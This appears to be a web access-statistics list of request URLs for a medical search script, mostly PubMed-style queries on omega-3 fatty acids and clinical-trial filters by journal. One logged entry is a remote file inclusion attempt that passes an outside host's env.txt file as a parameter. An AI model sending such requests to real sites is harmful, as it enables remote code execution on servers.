487: 0,02%: 7-Set-10 21:15: /medasq.php?z="br+j+addict"[Journal]+OR+"alcohol+clin+exp+res"[Journal]+OR+"alcohol"[Journal]+OR+"j+stud+alcohol"[Journal]+OR+"addiction"[Journal]+OR+"alcohol+alcohol"[Journal]+OR+"drug+alcohol+depend"[Journal]+OR+"int+j+addict"[Journal])+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
474: : 6-Set-10 20:59: /medasq.php?z=Orv+Hetil&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
461: 0,01%: 7-Set-10 05:37: /medasq.php?z=cocaine+neuroadaptation&abstract=0&quanti=20&highlight=2&daevidenziare=neuroadaptation&dovesiamo=0&azione=Show
417: 0,01%: 7-Set-10 05:41: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+cardiovascular+diseases+[majr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
414: 0,01%: 6-Set-10 18:45: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+hyperlipidemia+[majr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
389: : 5-Set-10 15:30: /medasq.php?z=J+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
387: : 7-Set-10 10:03: /medasq.php?z=Recenti+Prog+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
385: 0,01%: 6-Set-10 23:55: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(neoplasms+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
385: 0,01%: 7-Set-10 07:51: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(nervous+system+diseases+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
377: 0,01%: 5-Set-10 04:09: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(pregnancy+[majr]+|+pregnancy+complications+[majr]+|+lactation+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
369: 0,01%: 6-Set-10 12:48: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(eye+diseases+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
363: : 7-Set-10 04:43: /medasq.php?z=Ann+N+Y+Acad+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
359: 0,01%: 7-Set-10 06:38: /medasq.php?z=(clin+res+[ta]+OR+lancet+[ta]+OR+ann+intern+med+[ta]+OR+jama+[ta]+OR+br+med+j+[ta]+OR+arch+intern+med+[ta]+OR+am+j+med+[ta]+OR+am+j+clin+nutr+[ta]+OR+annu+rev+med+[ta]+OR+med+care+[ta]+OR+ann+med+[ta]+OR+can+med+assoc+j+[ta]+OR+med+j+aust+[ta]+OR+clin+invest+med+[ta]+OR+j+gen+intern+med+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
359: 0,01%: 6-Set-10 00:02: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(pregnancy+[mesh]+|+pregnancy+complications+[mesh]+|+lactation+[mesh]+|+pregn*+[all]+|+lactati*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
358: : 5-Set-10 13:12: /medasq.php?z=S+Afr+Med+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
358: 0,01%: 6-Set-10 15:40: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+hypertension+[majr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
357: 0,01%: 5-Set-10 10:46: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(arthritis+[mesh]+|+arthrit*+[all]+|+osteoarthrit*+[all]+|+arthros*+[all]+|+osteoarthros*+[all]+)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
355: 0,01%: 6-Set-10 12:10: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(mental+disorders+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
346: : 7-Set-10 04:21: /medasq.php?z=JAMA&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
345: : 7-Set-10 03:49: /medasq.php?z=Adv+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
331: 0,01%: 7-Set-10 00:50: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(cardiovascular+diseases+[mesh]+|+cardiovascular+disease*+[all]+|+cardiovascular+disorder*+[all]+|+heart+disease*+[all]+|+heart+disorder*+[all]+|+vascular+disease*+[all]+|+vascular+disorder*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
329: 0,01%: 7-Set-10 16:53: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(arthritis+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
329: 0,01%: 7-Set-10 02:40: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(mental+disorders+[mesh]+|+schizophren*+[all]+|+depression+[all]+|+bipolar*+[all]+|+mania*+[all]+|+manic+[all]+|+psychos*+[all]+|+psychot*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
321: 0,01%: 7-Set-10 06:57: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(diabetes+mellitus+[mesh]+|+diab*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
319: 0,01%: 6-Set-10 08:58: /medasq.php?z=(arch+ophthalmol+[ta]+OR+ophthalmology+[ta]+OR+am+j+ophthalmol+[ta]+OR+br+j+ophthalmol+[ta]+OR+eye+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
317: 0,01%: 7-Set-10 22:34: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(autoimmune+diseases+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
316: 0,01%: 7-Set-10 02:58: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(skin+diseases+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
312: : 7-Set-10 18:52: /medasq.php?z=J+Fr+Ophtalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
311: 0,01%: 5-Set-10 22:31: /medasq.php?z=(am+j+resp+crit+care+med+[ta]+OR+crit+care+med+[ta])+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
307: 0,01%: 6-Set-10 21:59: /medasq.php?z=(ann+surg+[ta]+OR+j+vasc+surg+[ta]+OR+arch+surg+[ta]+OR+surgery+[ta]+OR+am+j+surg+[ta]+OR+br+j+surg+[ta]+OR+j+am+coll+surg+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
306: : 7-Set-10 20:28: /medasq.php?z=Curr+Atheroscler+Rep&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
304: 0,01%: 7-Set-10 16:54: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(inflammatory+bowel+diseases+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
300: 0,01%: 6-Set-10 21:04: /medasq.php?z=(ann+neurol+[ta]+OR+brain+[ta]+OR+neurology+[ta]+OR+arch+neurol+[ta]+OR+stroke+[ta]+OR+pain+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
299: : 7-Set-10 07:55: /medasq.php?z=Clin+Ter&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
294: : 4-Set-10 17:59: /medasq.php?z=Spine+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
294: 0,01%: 7-Set-10 20:59: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(hypertension+[mesh]+|+hypertens*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
290: 0,01%: 7-Set-10 05:40: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(diabetes mellitus+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
287: 0,01%: 6-Set-10 22:01: /medasq.php?z=(ann+emerg+med+[ta]+OR+am+j+emerg+med+[ta])+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
287: 0,01%: 7-Set-10 08:09: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(neoplasms+[mesh]+|+neoplas*+[all]+|+tumor*+[all]+|+tumour*+[all]+|+cancer*+[all]+|+carcin*+[all]+|+sarcom*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
286: : 5-Set-10 11:32: /medasq.php?z="fasciculus+retroflexus"+AND+cocaine&abstract=0&quanti=20&highlight=2&daevidenziare=&dovesiamo=0&azione=Show
285: 0,01%: 5-Set-10 02:35: /medasq.php?z=(circulation+[ta]+OR+j+am+coll+cardiol+[ta]+OR+arterioscler+thromb+vasc+biol+[ta]+OR+hypertension+[ta]+OR+thromb+haemost+[ta]+OR+am+j+cardiol+[ta]+OR+br+heart+j+[ta]+OR+atherosclerosis+[ta]+OR+j+vasc+surg+[ta]+OR+angiology+[ta]+OR+int+angiol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
284: 0,01%: 5-Set-10 15:18: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(autoimmune+diseases+[mesh]+|+autoimmun*+[all]+|+dysimmun*+[all]+|+disimmun*+[all]+|+les+|+lupus+[all]+|+rheumat*+[all]+|+addison's+[all]+|+graves'+[all]+|+pemphig*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
284: 0,01%: 6-Set-10 23:47: /medasq.php?z=(j+orthop+res+[ta]+OR+phys+ther+[ta]+OR+spine+[ta]+OR+osteoporos+int+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
283: 0,01%: 7-Set-10 20:29: /medasq.php?z=(j+invest+dermatol+[ta]+OR+arch+dermatol+[ta]+OR+br+j+dermatol+[ta]+OR+j+am+acad+dermatol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
278: : 6-Set-10 19:41: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(venous+insufficiency+[majr]+|+microcirculation+[majr])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
278: 0,01%: 3-Set-10 20:10: /medasq.php?z=(arch+otolaryngol+head+neck+surg+[ta]+OR+ann+otol+rhinol+laryngol+[ta]+OR+acta+otolaryngol+stockh+[ta]+OR+clin+otolaryngol+[ta]+OR+orl+j+otorhinolaryngol+relat+spec+[ta]+OR+j+laryngol+otol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
275: 0,01%: 7-Set-10 14:12: /medasq.php?z=(am+j+respir+crit+care+med+[ta]+OR+eur+respir+j+[ta]+OR+thorax+[ta]+OR+chest+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
275: 0,01%: 6-Set-10 04:07: /medasq.php?z=(j+am+geriatr+soc+[ta]+OR+age+ageing+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
273: 0,01%: 5-Set-10 15:41: /medasq.php?z=(arthritis+rheum+[ta]+OR+br+j+rheumatol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
269: 0,01%: 4-Set-10 17:36: /medasq.php?z=(am+j+epidemiol+[ta]+OR+am+j+public+health+[ta]+OR+j+clin+epidemiol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
268: 0,01%: 5-Set-10 19:57: /medasq.php?z=(anesthesiology+[ta]+OR+anesth+analg+[ta]+OR+br+j+anaesth+[ta]+OR+anaesthesia+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
268: 0,01%: 29-Gen-10 05:16: /medasq.php?z=(fatty+acids,+omega+3+[majr])+%26+(inflammatory+bowel+diseases+[majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
265: : 6-Set-10 11:27: /medasq.php?z=South+Med+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
262: : 7-Set-10 06:12: /medasq.php?z=J+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
262: : 31-Ago-10 04:35: /medasq.php?z=Int+J+Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
259: 0,01%: 4-Set-10 12:09: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(skin+diseases+[mesh]+|+dermatos*+[all]+|+dermatit*+[all]+|+psoria*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
255: 0,01%: 5-Set-10 01:57: /medasq.php?z=(hum+reprod+[ta]+OR+fertil+steril+[ta]+OR+am+j+reprod+immunol+[ta]+OR+contraception+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
255: : 2-Ago-09 02:19: /medasq.php?z=http://www.pierrerene.pl/env.txt?&servidor=www.debernardis.it/medasq.php?z=¶=brancohat@gmail.com
253: 0,01%: 7-Set-10 04:10: /medasq.php?z=(br+j+gen+pract+[ta]+OR+j+am+board+fam+pract+[ta]+OR+arch+fam+med+[ta]+OR+can+fam+physician+[ta]+OR+j+fam+pract+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
248: : 2-Set-10 17:24: /medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
246: 0,01%: 3-Set-10 22:32: /medasq.php?z=(am+j+obstet+gynecol+[ta]+OR+obstet+gynecol+[ta]+OR+br+j+obstet+gynaecol+[ta]+OR+acta+obstet+gynecol+scand+[ta]+OR+j+reprod+med+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
246: : 6-Set-10 22:14: /medasq.php?z=AAPS+PharmSciTech&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
245: 0,01%: 6-Set-10 17:51: /medasq.php?z=(j+pediatr+[ta]+OR+pediatr+res+[ta]+OR+pediatrics+[ta]+OR+arch+dis+child+[ta]+OR+clin+pediatr+phila+[ta]+OR+j+pediatr+gastroenterol+nutr+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
245: : 7-Set-10 05:29: /medasq.php?z=Proc+Natl+Acad+Sci+U+S+A&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
244: 0,01%: 4-Set-10 07:59: /medasq.php?z=(j+immunol+[ta]+OR+j+allergy+clin+immunol+[ta]+OR+clin+exp+allergy+[ta]+OR+allergy+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
243: 0,01%: 5-Set-10 03:57: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(inflammatory+bowel+diseases+[mesh]+|+inflamm*+bowel+[all]+|+colitis+ulcer*+[all]+|+ulcer*+colitis+[all]+|+crohn+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
242: 0,01%: 7-Set-10 16:21: /medasq.php?z=(j+natl+cancer+inst+[ta]+OR+cancer+res+[ta]+OR+j+clin+oncol+[ta]+OR+br+j+cancer+[ta]+OR+int+j+cancer+[ta]+OR+cancer+treat+rev+[ta]+OR+breast+cancer+res+treat+[ta]+OR+cancer+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
242: 0,01%: 6-Set-10 21:09: /medasq.php?z=(j+urol+[ta]+OR+prostate+[ta]+OR+urol+clin+north+am+[ta]+OR+urology+[ta]+OR+genitourin+med+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
242: : 6-Set-10 20:06: /medasq.php?z=Phys+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
241: 0,01%: 7-Set-10 17:31: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(eye+diseases+[mesh]+|+eye+disease*+[all]+|+eye+disorder*+[all]+|+visual+disease*+[all]+|+visual+disorder*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
237: 0,01%: 4-Set-10 09:40: /medasq.php?z=(j+androl+[ta]+OR+int+j+androl+[ta]+OR+andrologia+[ta]+OR+arch+androl+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
233: 0,01%: 4-Set-10 22:26: /medasq.php?z=(arch+gen+psychiatry+[ta]+OR+am+j+psychiatry+[ta]+OR+schizophr+bull+[ta]+OR+j+clin+psychiatry+[ta]+OR+br+j+psychiatry+[ta]+OR+psychosom+med+[ta]+OR+psychol+med+[ta]+OR+biol+psychiatry+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
226: : 7-Set-10 17:48: /medasq.php?z=Adv+Exp+Med+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
226: : 6-Set-10 23:46: /medasq.php?z=Am+J+Clin+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
223: : 4-Set-10 15:52: /medasq.php?z=Drug+Discov+Today&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
223: : 7-Set-10 15:46: /medasq.php?z=Nutr+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
223: : 7-Set-10 14:08: /medasq.php?z=Biomed+Pharmacother&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
221: : 6-Set-10 10:18: /medasq.php?z=Rev+Med+Brux&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
221: : 7-Set-10 18:26: /medasq.php?z=Z+Rheumatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
215: 0,01%: 5-Set-10 09:54: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(venous+insufficiency+[all]+|+microcirculation+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
215: : 2-Set-10 05:29: /medasq.php?z=J+Neurochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
212: : 7-Set-10 06:26: /medasq.php?z=Lancet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
209: : 6-Set-10 09:34: /medasq.php?z=Klin+Med+(Mosk)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
205: : 7-Set-10 20:22: /medasq.php?z=Pharmacol+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
203: : 7-Set-10 09:24: /medasq.php?z=J+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
202: : 5-Set-10 06:53: /medasq.php?z=J+Hypertens&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
200: 0,01%: 7-Set-10 22:55: /medasq.php?z=(am+j+clin+nutr+[ta]+OR+j+nutr+[ta]+OR+br+j+nutr+[ta]+OR+jpen+j+parenter+enteral+nutr+[ta]+OR+eur+j+clin+nutr+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
199: 0,01%: 7-Set-10 02:27: /medasq.php?z=(drugs+[ta]+OR+clin+pharmacol+ther+[ta]+OR+pharmacol+ther+[ta]+OR+j+clin+psychopharmacol+[ta]+OR+clin+pharmacokinet+[ta]+OR+psychopharmacology+[ta]+OR+br+j+clin+pharmacol+[ta]+OR+ther+drug+monit+[ta]+)+AND+(+human+[mesh]+)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
199: : 6-Set-10 07:16: /medasq.php?z=J+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
199: 0,01%: 6-Set-10 21:10: /medasq.php?z=(radiology+[ta]+OR+eur+j+nucl+med+[ta]+OR+AJR+Am+J+Roentgenol+[ta]+OR+radiol+clin+north+am+[ta]+OR+br+j+radiol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
198: : 6-Set-10 04:39: /medasq.php?z=J+Am+Coll+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
197: : 7-Set-10 11:32: /medasq.php?z=Am+J+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
196: : 5-Set-10 05:36: /medasq.php?z=Br+J+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
